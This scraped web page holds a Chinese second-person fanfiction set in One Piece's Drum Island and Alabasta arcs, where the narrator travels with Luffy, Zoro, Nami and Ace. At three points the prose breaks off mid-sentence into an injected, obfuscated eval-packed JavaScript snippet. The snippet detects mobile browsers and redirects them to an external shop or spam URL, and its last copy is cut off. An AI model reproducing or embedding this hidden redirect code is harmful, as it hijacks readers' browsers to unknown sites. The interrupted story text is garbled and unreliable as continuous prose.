一直等到深夜,山治的惨叫声让所有人胆寒,你不在此列,你是牙酸。Dr库蕾哈问多尔顿武器库的钥匙,你把它拿出来,娜美瞬间了解情况,要求Dr库蕾哈免去你们所有人的治疗费,但在缩短时期直接带你走这件事却被完全忽略了呢。 你把安神茶喝光,“我可以出门了吧?库蕾哈医娘。” 薇薇和娜美同时把脑袋朝向你,你的双手交叠在一起,直视Dr.库蕾哈凶狠的目光。多像啊,你以前这么和爸妈闹脾气的时候他们也是这样的。但是你知道的,他们总会退步,就像放不下雏鸟高飞的成鸟,他们最终都是要放手的,只要你坚定选择自己的路。 她也是这样,她放手了,就像你的家人。 即使你们不过短短的一天之缘。 —— 回去的路上你们乘着雪橇,乔巴在前面带路。 你靠在娜美的怀里昏昏欲睡,说待会儿请随便找个人背着你上船,好吗? 娜美爱怜地抱着你摸摸,“还是太勉强了吗?” 你:“喝了药不困才怪吧。某个肌肉男能负责背我吗?我觉得他的背挺好靠的。” 索隆:“?” 你:“对,就是你。” 索隆:“喂,我不是你的仆人。” 你:“咳咳,呜呜,他好凶噢娜美,我感觉自己好像又难受起来了呜呜。” 众人用谴责的目光看向索隆,索隆额冒青筋,你在娜美的怀里朝他做鬼脸,其他家伙绝对看到了。他咬牙切齿,你可怜兮兮,周围的目光强烈。 索隆:“我知道了。” 你:“哈哈,认命吧,索隆。” 索隆看向娜美,“喂,你不管管她吗?” 你:“——” 坐在你旁边的人干脆把你捞到怀里,一手捂住你嘴。 “行了,我知道了。” 都说了,你vs索隆,没有你输的局。 —— Dr.库哈蕾:想知道我保持年轻的秘诀吗? 你说想,她就没有藏私,没有停顿,直白地把答案告诉你,“就是保持快乐喔,少年。” 你哈哈地笑那我一定活到你的岁数。你和她一样,都不是会做让自己后悔的事儿的人。 6. 阿拉巴斯坦副本3 今日的风儿也甚是喧嚣。 你:“肉。” 一只麦色皮肤,随着动作鼓胀青筋的手为你夹好肉食,放在你的碗里。 你:“水。” 水流声哗哗,那只手重重地把水杯放到你的面前。 你:“好——”(凶,未出口。) 索隆深呼吸,索隆:“?御免 な さい?。”(音译:果 咩那塞) 你撑着下巴笑呵呵地看他,娜美抱着衣衫路过,乌索普吃完后就在一边整理他的火药研究秘密武器,路飞秋风扫落叶吃饭之际没有忘记给你留菜,虽然他本来就不爱吃这些,不过好心小狗值得奖励。你抽空给他擦擦嘴巴,他咽下塞在喉咙里的肉朝你开朗一笑道谢,你拍拍他,说真棒。 索隆在旁边给某位终于吃完饭的大小姐收拾碗筷,自从离开无名国他就成了你的“仆从”,端茶倒水夹肉夹菜洗碗洗衣服。 你:就差做饭了欸。 索隆:适可而止! 连续几天他已经完全到了忍耐极限。 索隆:“你这家伙,绝对已经好了吧?” 你快速地躲到娜美的怀里,极为可怜地装哭呜咽,“他好凶哦。” 娜美:“索隆——” “啧!”他发出天大的响声,却还是得老实给你干活。 你绝对已经康复,但其他人对他的遭遇还是视而不见,山治那蠢厨子甚至说这种美好的事情他居然还要抱怨,他为什么不能抱怨?被当做…… 哦,忘了,他也是。 “喂,你这是什么眼神啊绿藻头!!!”金发青年紧攥拳头,这俩互抵额间就差要扭打起来。这样刚好不是,那家伙不能在这个时候打断他。 你:“咳咳,山治君——” 那黄发圈圈眉就这样螺旋转着到你身边,你摸摸他的脑袋,“我想吃你的特调冰饮,可以麻烦你去做一份吗?” “完全没问题——” 没眼看。 他撇过眼。乔巴在这个时候走过来,脚步墩墩的,作为船上的新成员,不出几日,完全被路飞带坏。 鼻子插筷子这件事还是有点太可爱了。 乔巴跟索隆说你们关系真好啊。 索隆:…… 索隆无言以对。 可惜美好的日子总会受到挫折,你们的伙食不出三天,就被船上偷吃的几人组全部吃光,作为早就熟悉船上这一节奏的你早早备好零食塞在你的行李箱。 你:“好歹这几天我们不用饿肚子。” 你对娜美和薇薇如此说道,她们亲昵地贴上来,夸赞你未雨绸缪。你忍不住沉浸在温柔乡,高兴得把俩个人都抱起来转一圈。 你们欢呼雀跃。在身体康复之后你恢复锻炼,神奇的是这回拎十公斤的哑铃对你而言轻而易举,你甚至挑战性地举十五公斤,二十公斤,三十……三十不行。 但二十公斤已经是让人很惊讶的一件事了,你悄悄问过乔巴,“库蕾哈医娘给我的特效药里是不是加了什么大力丸之类的东西。” 乔巴表现得比你还惊讶,下巴快掉地上了问你库蕾哈医娘还会这种东西吗? 你:“你不知道吗?” 乔巴摇头。 你摸过下巴,感叹道“真奇怪啊。” 路飞和乌索普正在钓鱼,他们手持鱼竿,鱼钩你看了一眼嘴角抽搐,你问他俩怎么想出来的这损招。路飞说没办法嘛,鱼饵都吃完了。 你说:什么?我刚刚好像听错了,你再说一遍? 路飞:“没办法嘛,鱼饵都吃完了。” 你:…… 你:“乔巴,我耳朵没问题吧?” 乔巴听闻极为紧张地给你做了个耳朵检查,然后松了口气说没有哦,你非常地健康! 你:“那我为什么会……算了,这是笨蛋的正常操作。” “好过分哦,我才不是笨蛋!”路飞凑了过来把脸蹭着你的,你捏扯一把他另一边的脸,叹了口气说“你不是早就认了吗?” “没有!” 你感觉自己叹的气真是越来越多了。你坐到路飞的旁边,撑着下巴看可怜的跑得快挣扎,跟路飞说过几分钟就把他给救回来,薇薇看到了会非常生气,而我们都不想让她生气,对吧? 路飞嗯嗯地附和你,你撑着下巴百无聊赖,黄金梅丽号渡过海底火山群,其中的水蒸气熏得你睁不开眼。 而等你睁开双眼,路飞和乌索普已然依凭跑得快钓上一个人类。 然后。 你:“是人妖啊。” 娜美和薇薇:“是人妖呢。” 他们玩到一块儿去了。 你:“怎么做到的?” 娜美:“可能是笨蛋的通性吧。” 他们载歌载舞,好不快活,你坐在甲板上,满脑黑线,最终决定随他们去。 冯克雷在尝试变脸草帽团全员,目标之一当然包括你,但你并不喜欢这样的肢体接触。你甚至非常意外,他到底在什么时候把在场的大部分的脸给碰了一遍? 在他即将把手放到你身上时,你眼刀甩去,他被你凶得停顿,说这位小姐好凶哦,好吧好吧,不模仿你了。 路飞乌索普乔巴几人看表演看得正兴奋,Mr2冯克雷却变身成娜美,打算敞开衣襟,还未做到你就已经旋身给他一记踢腿,他的能力被迫终止,脸上肿了红包,你:“随意展露别人身体,人渣吗你。” 你面目冷凝,生气得众所周知。冯克雷被你的反应镇住,或许在他的印象里这件事并不是一件值得让人反应如此之大的事情。你很少这么生气,娜美站在你的身后给你撑腰,你们的手紧紧相握。路飞也适时出声,你们的船长总是会站在你们的这一边,他喊了句冯克雷的名字,语调认真,“我的船员不喜欢这样,请你不要再做这种事。” 船上原本欢快的氛围刹那间变得凝固,冯克雷的眼睛在你们之间左右扫过,他表现得很通情达理,“我知道了,姑娘们。” 他真诚地道歉,这个地方也就重新燃起欢快的火焰。当然,它很短暂,因为冯克雷的船员到来,他必须得走了。 临走之前他留下简短的一句话。“虽然只是短暂的相处,但是,我很喜欢你们哦。” “再见!” 路飞乔巴乌索普三人组对着他的背影哭得真情实感。 —— 薇薇在认出冯克雷究竟何人之后有说她反应太慢的,你给他们一人一拳,捂着脑袋呼痛的几人看你,而你则在看着薇薇。她的神态太紧绷了,你问她,“你还知道更多关于他的情报吗?” 薇薇摇头,巴洛克工作社到底是神秘组织,她还未晋升到高层,所以对事情不够了解很正常。她很焦虑,而在座的所有人没有责怪她。 在商讨过后,你们给彼此做上记号。 一切准备就绪,路飞喊饿,你凑过去看的时候他甚至已经饿到要啃拖鞋的地步。 你:“……” 你把收藏的最后一份点心递给他,他双眼冒光,三两下就把东西啃光并把你缠上三圈道赛高。你很无奈,抬手推过他的脸,说行了,再多就没有了,那也是你最后的一份口粮。 他不介意,那不够塞他牙缝的点心好像激活了他的活力。他又原地复活了。 船很快抵达,他蠢蠢欲动的样子让你感到不妙,你伸手捉过他的后领想让他留下听话,但就近城市填饱肚子的欲望已经让他的脑袋再装不下其他。他像是一匹脱缰的野马,飞驰而过且完美错过城市。 捉住他后领的推背感实在是太强,你敢保证,你的惨叫声一定非常地震耳。 直到你们来到沙漠的中央,这小子才终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538338|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于意识到不对,上下左右地打量周围,问你:“这里真的有城市吗?” 你深呼吸。 砰砰。 路飞顶着俩个大包跟你道歉,你:“你迷路了啊混蛋!” 他的肚子传来一阵惊天动地的咕噜声,而你身上已经没什么储备粮了。 没招,你勾过他的脖子愤愤地往前走,“真是的,我也不清楚城市该往哪儿走,先原路返回吧,你小子。” “下次无论多饿也给我听完话再走!听清楚了吗?!” 路飞:“听清楚了。” …… 你知道这小子绝对不会听话的。 整片沙漠就像一个巨大的烤炉要把你们烤熟,你们汗如雨下,互相搀扶,在这可悲的,又饿又累的困境下终于遥遥看见一座冒烟的小屋,路飞高喊饭馆!又是熟悉的推背感,你很感谢他在冲过去的时候没忘记把你缠住一块儿飞奔。 小屋在路飞的叫喊之下也不见有人出来,你在它的周围查探了一圈,发现除了那堆叠起来的麻袋以外没别的可疑物了。 路飞把袋子俐落地撕开口,兴许是太饿了,他连这种一看就很可疑的东西都能上手去尝,然后评价好难吃。 你与他委屈的眼神对视,他真的很会撒娇,整个人赖在你的身上可怜巴拉地说好饿,你熟稔地搓一把他脑袋,对着那袋绿粉寻思:“就连你都觉得难吃?” 你没忍住好奇也试了试。 这间小屋的火炉久违地燃起火焰,你和路飞合力把那堆东西都丢进去了。烟囱冒烟,天空开始聚集云雨,雨水清冷,路飞在旁边用拉长的嘴巴接水,你回忆起来,噢,这不是那个传说中的跳舞粉吗? 小屋的主人也终于舍得出来了,你们躲过他的攻击,在听他一阵唠叨之下了解情况。你拎起路飞的后颈让他别乱道歉,冷嗓质询过这位可疑人员,他的脸鼻青脸肿。 你吹过自己冒烟的拳头,“果然是混蛋啊。” 路飞接过他的饭盒,你:“私藏违禁品,你觉得只是一盒饭就能让我们闭嘴了?” 小屋主人庆幸的表情还没收好。 你拎着一袋贝利和路飞走了。 —— 你很想发誓,说自己以后再也不会和路飞单独行动了。但你也清楚地知道,只要你还在这艘船上一天,你就一天没办法做到这点。 这次比之前好些,路飞是背着你跑的,你最起码不用担心自己什么时候掉下来。你们飞速地前进,城镇近在迟尺,你们穿过层层人海,终于来到一家生意火热的餐厅。 那老板看着你们嘴角抽搐,你对着那几面大墙的破洞表情与老板同样。你摸向自己的口袋,寻思这袋钱绝对不够你俩赔的,果然得吃霸王餐了吗?你说自己不认识你隔壁形似饕餮不断往嘴里塞食物的路飞还来得及吗? 路飞嘴巴塞满东西,出神之际你那一边的食物他甚至都薅了一半,你敲过他的脑袋。 路飞:“可你都没怎么吃嘛——” “不能浪费食物。” 你:“我只是吃的慢。” 你夹走一部分他盘里的食物塞到嘴里,护食小王可怜兮兮,那是我的嘛—— 你:“现在到我肚子里了。” “草帽小子!” 你是没想到在这儿还能碰到烟鬼的,斯摩格看到你们,眉毛下压,怒音问斥,“草帽海贼团的团伙,你们胆敢出现在这里,是做好被海军全员逮捕的准备了?” 你对此的回应只有赶忙扒拉几口食物,然后拍打路飞的肩膀,“跑路了赶紧。” 路飞也急忙吃进最后几口饭食,你俩同时起步,就往外跑。后边有风声呼啸而过,你往后一看。 烟鬼斯摩格正化作浓烟朝你们扑涌而来, 你:“我去还是飞过来的!这也太超过了吧?!!” 7. 阿拉巴斯坦副本4 和路飞逃命,那就是真的要拼了命才能跟得上他的节奏。“要走了!”他大喊,你还没来得及给他的发言敲出问号,就被拉长的手圈住腰腹,失重感侵袭之间斯摩格的手与你也仅一米之隔。 参考前文,你敢保证,你的尖叫声一定震耳欲聋。 路飞在笑,他到底是怎么笑出来的?他是把这场追逐战当游戏吗?你的吐槽无力出口。逃跑之际,你紧紧扣住路飞的脖子,路飞!你喊过他的名字,双腿相扣在他的腰上,你高举一只手,庆幸吧,你此刻的声音还能传入怀里人的耳朵里,“总之,现在又要靠你跑了,冲吧,皮卡路!” —— 火与烟雾缭绕,热气化作冲波掀飞一众路人,过于抓眼的画面牢牢锁住你和路飞的目光,在同伴朝左跑时他转向右边的岔路,你忘了提醒他注意,他也完全没发现走错路的这一事实。 这回居然不是索隆迷路。 你无言以对。 你有言要说。 漂亮的雀斑少年在你们的头顶向你们搭话,你看着他跳下来,然后兄弟俩极为自然地就把沙漠的重要物资之一——水给当作比赛的耗材处理。 “虽然但是,”你一把把他们用作比手腕大赛支撑的木桶拎走,路飞和艾斯俩人互看对方眨眼,又看向你,你正从旁边随机抽取两个木箱搭在一块,你一拍那俩结实的木头,“用这个,笨蛋们。” “路飞,我被你连累成笨蛋了啊。” 艾斯和路飞的手交握角力,路飞嘻嘻地笑,对艾斯说上次见面还是上次,你看着他俩的脸在隐隐的咯吱声里因用力而憋得通红。他们开始叙旧,而你不打算插嘴,就倚墙而站,合眼小憩,盼望消耗不少的精力能够原地复原。 你听着他俩继续交谈,然后是木箱的破碎声,喉咙的吞咽声…… “喂喂,现在还在逃跑的路上吧?”有些无奈的声音在你耳畔。你的肩膀被谁摇晃。 “真是的,怎么在这个时候睡着了?”你听到路飞的声音,迷茫地睁开眼,就见他的大脸出现在你的面前,你后知后觉,刚刚自己睡着了。 “因为你俩叙旧太久了。”你顺势打了个呵欠,单手搭在路飞的肩膀俯首埋在他的颈窝模仿他蹭你时的动作,“路飞,继续背着我跑怎么样?” “好累——不想动了。” 路飞双手抱臂,歪过脑袋贴过你的侧颜,“行吧,真是拿你没办法。”如同小孩学大人那样的无奈而宠溺的口吻逗得你直发笑。 艾斯看着你俩的互动牵扯唇角,“你们两个,关系真好啊。” 你们花了一点时间放在处理杀出来的小怪上,他俩在面对这些小角色时面部统一的没什么表情。 你看着被刷到好像中了debuff的小怪再度打了个呵欠,艾斯在路飞的旁边问你,“昨晚没睡好吗?看你一直很困的样子。” 你仔细想了想,觉得也不是这样,你:“嗯……可能是因为你俩太让人安心的缘故?反正无论出现多少人你们都能解决的吧。既然如此,我先睡咯。” “路飞艾斯!加油!” 然后你确实睡着了。 路飞的后背对你而言有着让人安睡的魔力,也许是因为磁鼓岛事件? “你到底是怎么做到在这种时候,在这家伙的背上睡着的?” 索隆把你从路飞的背上扒拉下来,那张长得本来就凶的脸此刻更显凶恶,路飞在你的旁边被山治捉住衣领教训,而你却在被索隆教训。他说你多少得有点警戒心,跟着那家伙这点警戒还必须要翻倍,此刻的你其实有点想学路飞经典动作之一——左耳进右耳出,但看着索隆的脸以及站在旁边上半张脸也覆盖阴影的娜美。 你乖乖坐好,像是被家长教训的小孩,“我知道错了。” 艾斯上船了。 他真的很会抓人眼球,在漂亮的一个空翻过后几艘追着你们跑的敌舰被成功击沉,火焰筑城一片连绵的火墙,他翻身回来,感谢你们对路飞的照顾。 你能感受到他在看你。 你也在看他。 艾斯给你们的统一观感就是真不像是路飞那样的人会有的哥哥,你问娜美和乌索普,他们本来觉得的路飞家人是什么样子? 娜美:“嗯……山里的猴子?” 乌索普:“没有生活常识,成天嘻嘻哈哈的……” 你:“哇哦。” “反正不是像艾斯这样的。”/“反正不是像艾斯这样的。” 噢,还是双人唱。 在吵闹间你们并没有忘记正事,娜美拎着一袋购物袋找你,说是阿拉巴斯坦的变装。你看过她和薇薇的穿着,多少有点预料里面会是什么。 你没有拒绝。 结果却出乎意料,穿在你身上的衣物它意外地正经,就是普通的阿拉巴斯坦女性会穿的衣裳。娜美和薇薇称赞这套衣服衬你。薇薇顺口说了句她之前拒绝的时候山治君表现得意外不听人话。 你把目光投向山治,自从上次的事件之后他对你的目光总是过分地敏锐。他放下和索隆的争执,轻快的将步伐迈向你,问你需要什么吗?你笑笑,选择开门见山,问他怎么买了套和娜美她们不一样的服饰? 你得到的回答是一句笃定的因为你不喜欢。 你眉梢上挑,再问:“那你怎么就确定薇薇和娜美会接受?” 山治不说话,他有些懊恼地挠过后颈。“娜美桑很喜欢这套穿着,而薇薇酱……” 对于自己的私心,他发现自己竟然有些难以启齿。在购买服饰的时候他确实有想过给你也买同款的服饰,但是你面目冷凝的脸又闪现在他的脑海,等到回神之际,他已经区别对待,独独给你那套正常的款式。 所幸你没有追问,你说:“我知道了,下一站我们买套别的吧,我相信薇薇更喜欢你这一套穿搭。” 山治同意了。 你摸过他的脑袋,带有褒奖意味地夸了句好孩子。山治的脸有些红,你对此并不在意。 此事已了,你打算窝回船舱休息睡个好觉,之前跟着路飞几番颠簸,你睡得断断续续,精神不及。现在万事平安不如学习一下索隆在船上补个好眠。 途中偶遇乔巴,你顺手摸摸他的毛发,问小驯鹿要和你一起午睡吗?你还挺喜欢毛茸茸的,可惜他拒绝了,说是会很热。 他很怕热。 好吧,那你没办法了。 —— 你苏醒时船已到岸,艾斯和索隆站在一块,头发纯黑且自然卷的男人在听闻阿拉巴斯坦事件之后对克洛克达尔发出评价。 见到你来艾斯收回那副慵懒的样子朝你笑问,“哟,你睡醒了?睡得好吗?” 你自然地回话,“还可以。” 然后就看到路飞在和一群……呃,你:“他们是海豹吗?” 艾斯:“是功夫海牛。” 你:“他们是怎么和路飞混到一块儿的?” “不对,他们这是在练功夫?” 路飞一二一二的喊声让你幻视青春期和同窗共度军训的可怕日子。 呃啊。 索隆简单地告诉你发生了什么,艾斯说你错过了好戏哦。他学着路飞对你的称呼称呼你,你不介意,回他一句艾斯酱要不要一起下去? 索隆:“喂。” 你:“索隆酱也要来吗?” 索隆压低眉眼,语气凶恶,“你知道我不是在说这个。” 艾斯在笑。 你们走入绿之城艾尔玛鲁。 对于薇薇的解说,你始终报以沉默。克洛克达尔的手段啊…… 你和艾斯对视,你走近了他。 艾斯:“不说点什么吗?” 你:“你想听我说点什么?” 艾斯:“阿拉巴斯坦,他们对这里多少都有点自己的见解,你没有吗?” 沙漠很热,艾斯作为拥有烧烧果实的人体温自然地高,你忍住了炎热,看向天空。“如果单纯地以第三视角来看,其实我很佩服他的手段。” 艾斯有些意外。 “兵不血刃,卧薪尝胆,勇谋双全。”学业的原因,你熟读历史,从极尽堆满整个书柜的文字稿件中看过更血腥也更肮脏的手段,曾经的你只是历史的单纯看客,你对里面的枭雄看好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538339|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却不影响你在现实里厌恶这样的人。 “但对这个国家来讲太过残忍了。”你饮过这座城池难以复现的清水,对走在你旁边的艾斯讲,“我支持路飞狠狠地揍飞他。” 深夜。 乔巴被那几个还没长大的男孩争抢相贴,暖呼呼的驯鹿毛发拥有着让人安心的魔力,如果不是他已经被路飞乌索普抢占,你挺想把他抱在怀里取暖的。 你裹着外套坐到艾斯旁边,他没拒绝你的接近,只是把腿侧了侧问你怎么不困了? 你说大概是因为中午睡了个饱觉吧,现在感觉精神得很。 沙漠温差大,寒风吹过你打了个寒颤。你非常自来熟,问他既然是火焰,能不能把自己的体温变高好让你取暖。 他喂喂了俩声说他可不是暖炉啊,而且前面不就是篝火吗?你眨眨眼睛作出一副可怜的样子,“不行吗——?”狡猾地夺取这位兄长的怜弱之心,他叹了口气说好吧。 你又朝他那边挪挪,你们肩膀贴着肩膀,他的体温源源不断地传递给你,感谢烧烧果实让你在此刻拥有了一位人形暖炉。 你看着夜空对他说,“要不聊聊白胡子海贼团?” 艾斯手臂搭在膝盖,下巴贴着他的手,他侧过脸问你,“怎么,你想来我们那里吗?” 你:“……我暂时没跳槽的意向。我只是比较好奇,传闻中的四皇海贼团到底什么样的。” 艾斯哈哈地笑,跟你说可以,那他说说好了。你撑着下巴看他,他讲故事的时候真的很迷人,他告诉你他们团里有一位很厉害的剑士能够劈砍出花,娇弱的花朵伴随凌厉的杀意将一切仇敌斩杀,有位不死鸟医生作为大哥照顾着船上所有人,还有位做饭极其美味的厨师,他的手艺即使是你们队里的这位山治也比不过他。 说着说着他看向你,艾斯黑沉的眼睛被火光映射得透亮,你清晰地见证里头的光影与你,他说呐,果然,你还是来白胡子海贼团吧。 那里很有趣,也和这里一样热闹,甚至还更安全,你会喜欢的。 你问他,我们才见面没几天吧?怎么这么执着于捞我入伙,我可是你弟弟的人,目前一点也不打算跳槽哦。哥哥酱。 艾斯的嘴巴张合几下,却没有发出声音。他的表情有一瞬间的沉静,他刚才到底想说什么?你皱眉看他。 他又尝试了几遍,无果。 艾斯:“……果然不行吗?” “算了。”他抚向你的脑袋,这回的笑容没有之前那样装出来的成熟,反倒像是邻家弟弟一般带着些许稚气。 “总之,你只要知道,白胡子海贼团无论什么时候,都欢迎你来。” —— 沙尘暴席卷而来,你被铺天盖地的黄沙压辙而过,所幸有人自愿为墙为壁,在你的身前挡过那些恼人的沙砾,风把他的外套吹得猎猎作响。 他近乎是下意识的举措让你脑袋闪过几项不可思议的猜测……不至于,吧? 太阳爬到高空。 你是被热醒的。 睁开双眼就是一百分的洗面奶之礼,你觉得这对年仅十九的你还是太超过了,太超过了。你把他推搡开来,推不动。 黄沙把你俩压实了。 “喂。”你喊他,艾斯这才动起来。 他率先爬起身,你在后边起来,环顾四周后你发现是你和他最先有意识。 艾斯跑去扶起薇薇,你紧随其后,确实所有同伴聚齐,你们又开始赶路。 薇薇跟在你的旁边,问你和艾斯怎么了?你喝水咳到,问她什么怎么了? 薇薇说你昨天和艾斯表现得很亲密,可是现在看着很像在躲他,是他对你做什么事了吗?你问她有这么明显吗? 薇薇点头。 你:“……也没什么。” 即将说话的你被路飞的声音打断,“赢了的人要拿所有的行李!” 你:“……我有一种不详的预感。” 预感成真。 路飞把所有人的行李弄丢,飞鸟掠过你们发出几声嘲笑的啼鸣。 你真心觉得自己的心理年龄又老了几岁。 8. 阿拉巴斯坦副本5 路飞被挑衅跑走了,你们的食物byebye了。 已经习惯比格惹祸日常的你们决定原地歇息,你和娜美一起靠在后面的岩石,索隆坐在上边,乔巴在你们的不远处占据一小片空地,薇薇状态良好,站在你们的附近忧心忡忡地朝路飞离开的方向看着。 艾斯坐在你们对面的那座岩石。 你连话都不想说,一路走来你感觉自己已经燃尽,身后的岩石也不是什么好靠的东西,它好硌人。 这鬼沙漠。 你以掌为扇给自己扇风,说这里要是有小风扇就好了。 娜美问你那是什么,你说就是小型风扇,能握在手里的那种大小的风扇。 这大热天的,即使是吹,吹出来的也只会是热风吧? ……乌索普你真是聪明啊。 你试着幻想了一下在这个大热天还要吹热风的感受,那简直就像是被火烤还要被烟烫的烤鸡才有的待遇。 唉,好想家里的空调房。 距离路飞离开已经过去了大概半个小时,按照以往,这个时间段他不是闯祸归来就是已经惹事上身。 预感到不妙的你们因为担心开始猜测路飞到底遭遇了什么,你绞紧脑筋回忆,却并没有路飞这个时间的剧情记忆。 算了,几次和路飞的单独行动让你深切知晓他的惹祸能力和解决麻烦的能力,反正过不了多久他就会乐颠颠地跑回来像是一只没有烦恼的比格犬。受到创伤的永远只有你们这些家长罢了,噢,家长。 你说:“他总不至于把自己走丢掉吧?” 娜美:“很有可能。“ 山治:“会不会在路上饿晕了?” 索隆已经站了起来,跟在他后面的是山治。艾斯说不好意思啊,我这弟弟实在是太胡闹了。 两位主力一笑而过,你说毕竟上了贼船认了船长,再怎么样你们都已经认了。 而说比格,比格就到。他甚至还是打猎归来,带着一只骆驼俩头蜥蜴,一头归三主力另一头归艾斯,在那威势巨大的火焰秀中你被火星燎过手臂,一句下意识的好烫吸引过艾斯的注意。他跳到你的面前,火焰随著他的吐息逐渐消弭,你的手却忽地发烫,因为他的体温。 艾斯对你手上那点轻伤表示抱歉。 你说不用,只是几天就能痊愈的东西,他嘴唇蠕动,似乎还想说些什么。 但娜美不知何时溜到你的背后将你一把从身后揽住,她把下巴搭在你的肩上,由于你俩的身高差问题,她得伏低些身子才能如此作为。 她语气正常,态度亲昵,“路飞带来的骆驼答应给我们骑了,走吧■■。” 艾斯眨了眨眼睛。 路飞带来的骆驼不载男人,只载女人。 “色骆驼。”“色骆驼。”“色骆驼。” 站在你们身侧的那群男孩评价反反复复就那么一句,你骑在它的上面对着那群青少年说再喊它没事你倒是要耳朵起茧子了。走了走了,往目的地出发! 乌索普说别把话说得那么轻松啊,你们可是可以骑着骆驼走欸,比起他们你们要轻松多了。 你哼笑一声道那你变个性就能和你们一样骑骆驼了。 乌索普看着你的笑打了一个寒颤说算了算了。 比之你和娜美的坦荡作派,薇薇就显得拘谨很多,她拉着睫毛的缰绳说就你们坐吧,她还能走,就不用了。 娜美提议那就轮流来坐嘛,薇薇却还是有些局促。你大概知晓她在犹豫什么,翻身下马伸手敲她脑袋,很清脆的一个响声,你说:“别这么紧绷啦,你先上去,我待会儿再坐。” “我还没有那么脆弱。” 可如此作为的你却在轮到你时消失不见,薇薇显著地表现担忧,“他们都去哪了?“ 负责驱使睫毛的娜美抓紧缰绳,咬过嘴唇说怎么偏偏你也不在。 你为什么不在呢? 当然是因为你们走散了。 走在沙地的你因为更加信任不存在路痴属性的艾斯,一直紧随其后。他倒是也就着你,步伐不紧不慢,刚好是你能跟紧的步速。 你们缓步而行,索隆他们一伙却和你走散不见踪影,你都不能理解他们是怎么做到跟着人走都能迷路的。娜美一行人的脚印随着风吹而荡然无存,当你走在半路抬头,眼前只剩艾斯就是他们和你们走散的结果。 你干脆一步并俩步往前抓住艾斯的手腕。 “可别把我也走丢了,艾斯。” 艾斯后知后觉,转头去看的时候周围就只剩下你一人跟着他,再无别人。“怎么就只剩下你了?” 你:“很明显,他们所有人都和我俩走散了。” 他嘴角抽动,你们一起叹气。只是想到走丢的人里还包括路飞,你们都不觉得奇怪,队里有俩个路痴可真是麻烦啊。 艾斯理过挎包,反手握紧你的手,“没办法了,我们先走吧,之后总会会合的。” 你和艾斯就此组成临时小队,目标是和路飞娜美他们几个会合。艾斯展开地图,给你让了位置让你一起决定往哪儿走更快到目的地,但你的地理早已还给老师,分给你其实和分给文盲看字典没什么区别。 你说,“你决定就好。” 他:“你就不怕我把你半路拐走?” 你:“你会对你弟弟的船员下手?” 艾斯反问他昨晚不就在试图挖路飞的墙角?你说你这不也没翘动吗哥哥酱。然后你两就碰到了拦路的沙漠杀手,你对此已经司空见惯。 你百无聊赖,站在一旁观战艾斯的大杀四方,火焰把怪物烤得通红,艾斯用柄小刀熟稔地给它剥壳挖肉,说这是可以吃的地方,香气扑鼻。你回一句谢谢,接过小刀,顺嘴啃过。在一边的艾斯打开水壶,见水见底,他皱眉:“水快用完了。” 你耳闻声响,往前一看,拽扯过艾斯的衣袖,指向被肉味吸引而来的巨型生物,“又来了个蜥蜴。” 艾斯抬头和它对视,问你“你还能吃得下吗?” 你正被烤肉烫得呲牙咧嘴,“我觉得不能。” 那蜥蜴疯狂地流泪。 好消息,你们凭此获得了一个巨型坐骑。坏消息,它是习惯直立行走的动物,你们必须花费一段时间让它学会四肢爬行,好载住你们二人前行。 所幸时间不消多久,你们就到达一座市镇,它名水井。看过它的表象,会发现这名字取得相当贴切,它是像福建土楼一般的建筑,土墙作为防护层防卫外敌,让外人轻易不得看见内部环境。 内里却植被丰富,物资丰盈,你们进入之后甚至感受到了久违的凉风。 你们从蜥蜴的身上下来,它终于恢复常态,不用继续爬着行走。看它一副感动流涕的样子你都忍不住可怜它了,“幸苦你咯。”你摸过它背后竖着生长的毛发,安抚性地说一句。 艾斯依旧走在你的前面,西瓜斑纹的挎包随着他的行动而在他的肩上上下晃动,你跟在其后。路上一队行人步履匆匆,问过才知晓是为了给一群反抗军送吃喝与侍奉,反抗军? 你和艾斯对视。 你提议:“要不去看看?” 艾斯回你:“可以。” —— “看来帮不上他们什么忙啊。”艾斯和你躲在阴影处,他似遗憾地对你落下一句,因为你们已经把这座小镇的话事人和那群混混说的话听过全程。 说来扫兴,一群没有本事的人顶起有本事的头衔开始狐丈虎威,吃尽好处,如何说呢?你说没办法,看来你们运气也不是很好,没见到个真反抗军。 看出你不喜的艾斯摸过一把你的头发,说不要想太多啦,待会儿顺便教训几下的事儿。 你抽动唇角问他到底把你当几岁孩童,刚刚那招就是在哄小孩的吧?艾斯:“有吗?” 你说很明显。 他领你插入他们几人之中,他刚好饿了,顺手就享用起台面堆砌良多的食物,你不习惯吃别人的口水,就坐在他的旁边,撑着下巴欣赏那群呆傻的小子们。 反应过来的混混表现得极具攻击性,像是一群被突然侵犯领地的狮子,想要挥过来的拳头都被艾斯挡住,他顺势给了这群人一番爱的拳头之教育。 假反抗军瞬间变成一群谄媚见到领头的鬣狗,没有分毫骨气地下跪求你们放他们一马。 他们很幸运,你和艾斯没有加害他们的意愿,比之艾斯更想满足口腹之欲的愿望,你更想解决你的清洁问题。你问他们这附近哪儿有洗浴间,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 